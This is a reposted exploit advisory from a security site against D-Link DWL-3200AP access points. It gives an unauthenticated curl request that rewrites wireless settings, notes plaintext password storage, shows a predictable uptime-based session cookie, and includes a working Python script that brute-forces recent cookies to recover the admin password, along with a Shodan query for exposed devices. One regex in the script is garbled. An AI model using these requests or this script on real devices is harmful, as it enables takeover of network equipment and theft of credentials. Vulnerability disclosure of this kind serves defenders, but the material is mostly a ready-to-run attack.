首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-Link AP 3200 Multiple Vulnerabilities
来源:vfocus.net 作者:pws 发布时间:2014-07-31  
# Exploit Title: D-Link AP 3200 Multiple Vulnerabilities
# Date: 29/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.dlink.com/
# Firmware Link: http://ftp.dlink.ru/pub/Wireless/DWL-3200AP/Firmware/
# Tested on: Latest version
# Shodan d0rk: "Server: Allegro-Software-RomPager/4.06" ~12000 devices
# CVE : None yet
  
Those vulnerabilities have only been tested on the D-Link AP 3200 serie but 
other series (8600, 7700, 2700, ..) might also be vulnerable. 
  
  
1. Unauthenticated request to change Wireless settings
  
To do so, you just need to craft a specific POST Request: 
  
$ curl 'http://192.168.50.3/Forms/FormCfgWireless?1,0,6' --data 'ApModeMenu=Access+Point&Ssid=MyPrivateNetwork&SsidBroadcast=Enable&AutoChannelScan=on&AuthMenu=WPA2-Personal&Cipher=AUTO&WPA_GroupKeyUpdateInterval=1800&passphrase=OMGWTFBBQ&Preapply=0&toReboot=0&hide=0' -D - 
  
HTTP/1.1 303 See Other
Location: http://192.168.50.3/html/bWirelessSetting.htm?1,0,6
Content-Length: 0
Server: Allegro-Software-RomPager/4.06
  
ESSID will be: MyPrivateNetwork
Passphrase will be: OMGWTFBBQ
  
Other actions might also be vulnerable but this one was the most critical.
Moreover, those requests can lead to CSRF attacks (to target internal devices).
  
  
2. Credentials in plaintext
  
Passwords are stored in plaintext in the device. 
This can be verified by (after logging in) going to administration page: /html/tUserAccountControl.htm .
Fields (Old && New && Confirm New) password are already filled.
  
  
3. Weak cookie value (RpWebID)
  
The cookie value generated is nothing more than the uptime of the AP. 
Here is the output between two requests (delay between requests: 1sec): 
  
$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>
  
  
<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a451';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>
  
  
$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>
  
  
<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a452';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>
  
  
4. PoC Time! 
  
Basically, this code extracts the cookie value and decrement it to try all combinations from the last hour. (3600 values)
If there's one valid, it recovers the password from the AP. 
I added some (horrible) 'trick' to not stress the network 'too much', but we said PoC, right?
  
# Example of usage
# $ python poc.py 
# Cookie value extracted: 3c27acbb
# [+] Cookie: 3c27acae valid !
# [+] Password of AP is: admin123
  
import threading 
import requests
import sys
import re
import time
import HTMLParser
  
# replace it with your target
url = "http://192.168.50.3/"
  
def test_valid_cookie(cookie_val):
    cookies = dict(RpWebID=cookie_val)
    try:
        req = requests.get('%shtml/tUserAccountControl.htm' % (url), cookies=cookies, timeout=10)
        pattern = r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
        if ('NAME="OldPwd"' in req.content):
            print '[+] Cookie: %s valid !' % (cookie_val)
            h = HTMLParser.HTMLParser()
            password = re.findall(pattern, req.content)[0].replace('&', ';&')[1:] + ";"
            print '[+] Password of AP is: %s' % h.unescape(password)
    except:
        # print "[!] Error while connecting to the host"
        sys.exit(-1)
  
  
def get_cookie_value():
    pattern = "RpWebID=([a-z0-9]{8})"
    try:
        req = requests.get(url, timeout=3)
        regex = re.search(pattern, req.content)
        if (regex is None):
            print "[!] Unable to retrieve cookie in HTTP response"
            sys.exit(-1)
        else:
            return regex.group(1)
    except:
        print "[!] Error while connecting to the host"
        sys.exit(-1)
  
cookie_val = get_cookie_value()
print "Cookie value extracted: %s" % (cookie_val)
  
start = int(cookie_val, 16) - 3600 # less than one hour
cookie_val = int(cookie_val, 16)
  
counter = 0
for i in xrange(cookie_val, start, -1):
    if (counter >= 350):
        time.sleep(3)
        counter = 0
    b = threading.Thread(None, test_valid_cookie, None, (format(i, 'x'),)) 
    b.start()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SkaDate Lite 2.0 - Remote Code
·Oxwall 1.7.0 - Remote Code Exe
·Symantec Endpoint Protection 1
·Pligg 2.0.1 - Multiple Vulnera
·Hitron Technologies CDE-30364
·MQAC.sys Arbitrary Write Privi
·SHARP MX Series - Denial of Se
·Make 3.81 - Heap Overflow PoC
·Sky Broadband Router SR101 - W
·BulletProof FTP Client 2010 -
·linux/x86 Run /usr/bin/python
·Omeka 2.2.1 - Remote Code Exec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved